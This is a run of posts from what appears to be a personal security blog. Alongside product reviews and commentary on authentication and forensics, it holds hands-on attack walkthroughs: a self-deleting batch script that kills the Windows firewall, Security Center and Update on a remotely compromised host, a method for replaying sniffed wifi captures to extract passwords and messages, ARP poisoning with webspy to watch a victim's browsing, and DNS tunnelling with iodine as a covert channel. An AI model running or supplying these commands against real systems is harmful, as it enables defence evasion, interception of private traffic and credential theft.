Lawrence and I finally got our hands on some tickets to Shmoocon (Blackhat was locked up ages ago). We are really looking forward to hanging out with the guys from LearnSecurityOnline.com (Joe and Chris) and making some new friends and sharing ideas and techniques with others. I have personally never been to DC (does Beltsville count?) and look forward to the entire experience.This registry hack assumes that you already possess a remote shell and need to kill the firewall remotely (to spawn remote shells on certain egress ports). To use, save the code below into a batch file (ie down.bat) and run on the remote computer.
@echo off
net stop "Security Center"
net stop SharedAccess
> "%Temp%.\kill.reg" ECHO REGEDIT4
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
>>"%Temp%.\kill.reg" ECHO
[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]
>>"%Temp%.\kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.\kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.\kill.reg"
DEL "%Temp%.\kill.reg"
DEL %0
May Your Skill Prevail.
Recently we have found ourselves in need of a cordless presenter. Details on the device itself can be found on Logitech's web site:http://www.logitech.com/index.cfm/mice_pointers/presentation_remote/devices/175&cl=us,en
I have to say we have been pleased with this device. It functions out of the box with no drivers (yes, it works in Ubuntu linux, I haven't had an opportunity to test it in other operating systems), the USB connector can be stored inside the unit and comes with a neoprene carrying case.
It has worked flawlessly in MS Powerpoint and OpenOffice Impress. Overall I would recommend it if you want a cordless presenter that does not function as a mouse.
It was high time to purchase these for the Incident Response team. According to the Olympus web site the device is Vista compatible:
http://www.olympus.co.jp/en/support/imsg/vtrek/compati/winvista.cfm#vn
Armed with this information I attempted to install the device allowing Vista to perform its automagical powers of detection and stup. Alas, to no avail. At this point I resorted to the installation CD that came with the device.
After running the installation and subsequently launching the executable it terminated immediately. Based off my previous dealings with Vista I simply allowed Vista to execute the program using Windows XP SP2 compatibility.
Voila! Instant access to the device and full functionality. As is true with all things there is more than one way to skin a cat. Olympus provides a patch to the software that provides Vista compatibility:
http://www.olympusamerica.com/files/DWPUP4EN.zip
As the device is used in the field I will keep folks updated with its pros and cons. If anyone else is using it or a similar device please leave a comment.
Reading the article below really got me to thinking this morning. It sparked enough motivation for a blog post at least. http://www.securityfocus.com/brief/528
I've always been an advocate for multi factor authentication. One of the main issues that I have with it is proper implementation. When I used to work for a major telecommunications carrier many of the staff in the IT department were issued credit card sized RSA devices to be used as secondary authentication when accessing the network via VPN. There were stringent rules as to where you could store it, that you couldn't loan it out or leave it lying about in plain view, etc.
On the other hand my girlfriend works for a local university in an accounting department. All of the employees in her department have RSA key fobs for usage as second factor authentication when logging in to the network. Well...while picking her up from work one evening I noticed that after she logged off she placed the key fob next to her keyboard. Being security conscious (picture that!) I asked “Aren't you going to lock that in your drawer or take it with you?”. She looked at me, smiled as if I were an idiot and matter of factly replied “Why would I do that? Everyone here leaves theirs on the desk when they leave.” Flabbergasted I walked to each workstation and checked, lo and behold at every workstation neatly placed to the left of the keyboard was an RSA key fob!
What does this story have to do with PayPal and the extra security measures they are attempting to employ? Everything. Two factor authentication doesn't do you much good if you don't take measures to ensure that the security it can provide you is not easily circumvented by poor security practices. When not in use do not leave it on your desk while you go to the restroom or leave for the day.
The following post below also shows that two factor authentication is not fool proof nor a panacea. You still need strong IT controls and policy in place.
http://neural-cybernetix.blogspot.com/2006/07/phishers-defeat-2-factor.html
On a side note I actually participated in the beta program and actually have one of the PayPal authentication devices. It was inexpensive, very painless to setup and works well. I keep it with me most of the time and when I don't I make certain that it is stored securely.
I have one of these and needed to access an SD card to retreive some information from it via Slackware Linux. The text below shows the steps I took to get this piece of hardware working correctly.http://www.darkreading.com/blog.asp?blog_sectionid=415
This is to be expected. I am not a Apple basher per say (Hey! I have an iPod nano that I love) but it is a matter of exposure to threats. Now that the source code for Safari has been exposed to a greater number of threats there will be more people poking and prodding at it and more vulnerabilities will be found. This is to be expected regardless of the platform or application.
In a semi-related blog post over at Taosecurity that I read yesterday it was put very well.
http://taosecurity.blogspot.com/2007/06/triple-boot-thinkpad-x60s.html
Richard Bejtlich says:
“Second, I am attending Black Hat this summer, and I don't trust Windows or Linux to that crowd. Sure, FreeBSD is "just as vulnerable" but the majority of the attackers will be looking for Windows and Linux users. Booting into FreeBSD and staying there will reduce my exposure surface.”
I totally agree with this statement. Even with the risk of sounding like a broken record I will reiterate that regardless of platform or application there are vulnerabilities that can . I too will be attending Black Hat and Defcon and will take extra measures from an OS and application perspective to maintain as small an exposure surface as possible.
Definitely a day to remember.
Sometimes you want to be able to replay traffic to analyze it live with different tools in your arsenal. This is not really an issue with standard Ethernet but can prove to be a bit challenging when faced with 802.11 traffic. Let's take a hands on look at what I'm talking about below.
So you captured some wifi data (802.11) with airodump-ng like this, for example:
igs-awilliams@IGSLAP02~> airmon-ng start wlan0
igs-awilliams@IGSLAP02~> airodump-ng -w dump -c 11 wlan0
(Or you captured with Kismet, etc.)
Now you want to go back and pull out passwords, URLs, instant messages and images from your capture file: dump.cap.
igs-awilliams@IGSLAP02~> dsniff -r dump.cap
dsniff: record_init: Invalid argument
And the other fun programs (driftnet, msgsnarf, urlsnarf, etc.) don't read files at all, they only work in real time listening on network interfaces. Driftnet won't even listen on 802.11 interfaces in rfmon mode:
igs-awilliams@IGSLAP02~> driftnet -i wlan0
driftnet: unknown data link type 119
The solution: Use tcpreplay to play back the packets on a network interface so all these interesting programs can work.
Download the latest stable release of tcpreplay (currently tcpreplay-2.3.5.tar.gz) here:
http://tcpreplay.synfin.net/trac/wiki/Download
Install from source in the usual fashion:
igs-awilliams@IGSLAP02~> tar xzvf tcpreplay-2.3.5.tar.gz
igs-awilliams@IGSLAP02~> cd tcpreplay-2.3.5
igs-awilliams@IGSLAP02~>tcpreplay-2.3.5 # ./configure
igs-awilliams@IGSLAP02~>tcpreplay-2.3.5 # make
igs-awilliams@IGSLAP02~>tcpreplay-2.3.5 # make install
Another small problem, tcpreplay doesn't understand 802.11 headers:
igs-awilliams@IGSLAP02~> tcpreplay -i lo dump.cap
sending on: lo
validate_l2(): Unsupported datalink type: 802.11 (0x69)
Relax, airdecap-ng can convert the capture to straight Ethernet. Normally you use this program to decrypt encrypted 802.11 data, but you can also use it just to strip the 802.11 headers:
igs-awilliams@IGSLAP02~> airdecap-ng dump.cap
Total number of packets read 256828
Total number of WEP data packets 315
Total number of WPA data packets 0
Number of plaintext data packets 42287
Number of decrypted WEP packets 0
Number of decrypted WPA packets 0
This creates a file named dump-dec.cap. If you need to decrypt the data as well, just include the necessary parameters (for example -e and -w) in the airdecap-ng command.
Now we're going to replay the data on the local loopback Ethernet interface (lo). This gives us an interface to send the data on without actually sending it out over the air or on the local network.
First start your programs to listen on the local interface (in different sessions of course, so you can see the output of each):
igs-awilliams@IGSLAP02~> dsniff -i lo
igs-awilliams@IGSLAP02~> driftnet -i lo
igs-awilliams@IGSLAP02~> urlsnarf -i lo
igs-awilliams@IGSLAP02~> msgsnarf -i lo
Then run tcpreplay (the -R option speeds up the replay):
igs-awilliams@IGSLAP02~> tcpreplay -i lo -R dump-dec.cap
sending on: lo
42287 packets (20751892 bytes) sent in 4.67 seconds
4435909.0 bytes/sec 33.84 megabits/sec 9039 packets/sec
Each sniffer sees the packets as they are replayed on the local interface.
May Your Skill Prevail!
After this debacle it appears that it will culminate in what constitutes as a pass in the enterprise universe. For more details I refer you to the link to the article below and some of my commentary on the matter.
An interesting resolution to an obvious lack of IT controls and governance. Furthermore the settlements and fine allocation is interesting. Why is the FTC receiving $10 million while the states are receiving $500,000 total? What ever happened to the actual customers whose information was carelessly handled? A $5 million dollar redress last year? That's it? Where is the accountability? Without it there is little incentive to improve security when the punishment for inappropriate conduct constitutes a slap on the wrist.
Webspy is an interesting tool from the dsniff family of tools including dsniff (password sniffer), arpspoof (ARP poisoning tool), dnsspoof (DNS spoofing tool), msgsnarf (view messages from IM clients), mailsnarf (view email messages), tcpkill (kill tcp connections on a local LAN), tcpnice (force other connections to "play nice" with their tcp connections) and webspy (view a targets web browsing in real time). When properly setup it will intercept web browsing requests from the victim and display them in the attackers web browser in real time. This post will show you how to run webspy successfully. I am assuming a basic knowledge of the Unix command shell in addition to reading the entire man pages for all of the applications listed in this write up.
You will need the following tools to successfully use webspy:
Tested using Ubuntu 7.04 and Slackware 11.
An ARP spoofing application, either arpspoof or ettercap will do.
fragrouter or echo 1 > /proc/sys/net/ipv4/ip_forward
Webspy
Web browser (Firefox 2.0.0.4 was used)
The first step is to successfully arp poison the target as well as the gateway for the local subnet. This can be accomplished via the use of one of two tools. The venerable arpspoof or the more recent ettercap (which contains its own plugin that allows for remote browsing but is outside the scope of this example). I will show both for completeness.# arpspoof -i interface -t gatewayIP victimIP
# arpspoof -i interface -t victimIP gatewayIP
Open these in two separate shells and run them independently of one another. If you receive a "arpspoof: couldn't arp for host 10.1.1.1" or similar error please visit the Troubleshooting section at the end of this document.
To accomplish the same effect using ettercap as your ARP poisoner of choice:
# ettercap -i interface -Tq -M arp:remote /gatewayIP/ /victimIP/
At this stage you will need to open another shell and ensure that you are passing your stolen packets back onto the network. As is normal for most things there is more than one way to accomplish this goal. You will need to open another shell to execute these commands.
fragrouter -B1
If you do not have fragrouter or for some reason wish to pursue an alternate method of achieving the same goal you can use the following from the command line:
# echo 1 > /proc/sys/net/ipv4/ip_forward
You will need to open another shell/console to execute webspy:# webspy -i interface victimIP
Well we are almost there! You will need to start one more shell and start up your browser from the command line (starting the browser via other methods did not function correctly for me).
# mozilla &
At this point if you have followed the directions correctly your broswer will start and any sites visited by the victimIP will appear in your browser in real time.
Troubleshooting:
Q:Every time I attempt to execute arpspoof I get the following error: arpspoof: couldn't arp for host 10.1.1.1. I have tried various command line switches and nothing appears to work.
A;
I received this error on my Slackware 11 installation which was compiled from source as opposed to using a package manager. The function arp_cache_lookup does not use the correct interface when running under Linux .. it always uses interface "eth0".. Don't fret, we can change this without too much effort. Change directory to where you unpacked dsniff to, you will want to find the file arp.c and edit a single parameter within it. Using your favorite editor open arp.c and change the following:
strncpy(ar.arp_dev, "eth0", sizeof(ar.arp_dev));
to
strncpy(ar.arp_dev, "wlan0", sizeof(ar.arp_dev));
Save the file and recompile the application.
If you have other issues, you got it running properly or you just want to drop a line feel free to leave a comment.
May Your Skill Prevail.
I have been reading the story referenced below and felt compelled to offer up yet another opinion on the matter:
http://www.securityfocus.com/news/11469?ref=rss
It would seem that when a persons private and professional reputation are at stake a forensic investigation would strive to perform due diligence in regards to their investigative techniques including reporting. I would think that this would cut down on “erroneous” forensic testimony.
For more details on the situations past and present please read the following blog posts:
http://blog.wired.com/27bstroke6/2007/06/teacher_granted.html
http://blog.washingtonpost.com/securityfix/2007/06/substitute_teacher_granted_new.html
I just don't even know where to begin here. Suppressed evidence from the defense's technical witness? Failure of the local Teacher's Union to step forward and do the right thing? The judge who criticized bloggers for trying to “improperly influence the court”? This case is a very strong example of how much ignorance still exists concerning computers, malware, strong information security policies, proper training, etc.
Well I tried to go to bed last night at a decent time...guess it just
didn't work out.
In any case I decided to experiment with some tunneling tools. I'm
very interested in being able to tunnel traffic along covert channels
especially for testing/auditing purposes for a client.
That being said I did a little searching around and found the two
tools listed in the subject of the blog. I tried pingtunnel first
but couldn't get it to function in my test environment. I sent an
information packed email to the softwares author and hope to hear
something in a timely fashion. In the interim I decided that I would
give iodine a shot and see what I could get to work. My preliminary
findings are below:
Start the server:
-(igs-awilliams@IGS-DEV01:ttyp5)-(11 files:26k@iodine)-(0 jobs)-(19:36)-
-(~/iodine:$)-> sudo /usr/local/sbin/iodined -f 172.16.0.1 test.asdf
Enter password on stdin:
Opened /dev/tun0
Setting IP of tun0 to 172.16.0.1
Adding route 172.16.0.1/24 to 172.16.0.1
add net 172.16.0.1/24: gateway 172.16.0.1
Setting MTU of tun0 to 1024
Opened UDP socket
Listening to dns for domain test.asdf
Verfiy that the tun/tap interface is enabled:
tun0: flags=51
groups: tun
inet 172.16.0.1 --> 172.16.0.1 netmask 0xffffff00
Ok...so far so good. Now lets setup the client:
igs-awilliams@IGS-LAP02:~> sudo /usr/local/sbin/iodine -f 10.1.1.36 test.asdf
Enter password on stdin:
Opened dns0
Opened UDP socket
Version ok, both running 0x00000400. You are user #0
Setting IP of dns0 to 172.16.0.2
Setting MTU of dns0 to 1024
Sending queries for test.asdf to 10.1.1.36
The tun/tap interface was aptly named dns0 so lets check that its
been created correctly:
dns0 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
inet addr:172.16.0.2 P-t-P:172.16.0.2 Mask:255.255.255.0
UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1024 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:21 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:10
RX bytes:0 (0.0 b) TX bytes:2153 (2.1 Kb)
If all this works correctly I should be able to ping 172.16.0.1 from
172.16.0.2 right?
igs-awilliams@IGS-LAP02:~> ping 172.16.0.1
PING 172.16.0.1 (172.16.0.1) 56(84) bytes of data.
64 bytes from 172.16.0.1: icmp_seq=1 ttl=255 time=18.1 ms
64 bytes from 172.16.0.1: icmp_seq=2 ttl=255 time=17.2 ms
64 bytes from 172.16.0.1: icmp_seq=3 ttl=255 time=17.3 ms
64 bytes from 172.16.0.1: icmp_seq=4 ttl=255 time=17.3 ms
64 bytes from 172.16.0.1: icmp_seq=5 ttl=255 time=17.4 ms
--- 172.16.0.1 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4040ms
rtt min/avg/max/mdev = 17.201/17.491/18.108/0.339 ms
Voila!
NOTE: Usage of iodine makes use of the tun/tap driver of *nix
platforms. Windows users need not apply. The driver installs
standard on OpenBSD (the server in the example above) and requires a
kernel adjustment and compile on Linux (the client in the example).
For a list of supported OSes and platforms consult the following:
http://dev.kryo.se/iodine/wiki/SupportedPlatforms
May Your Skill Prevail.
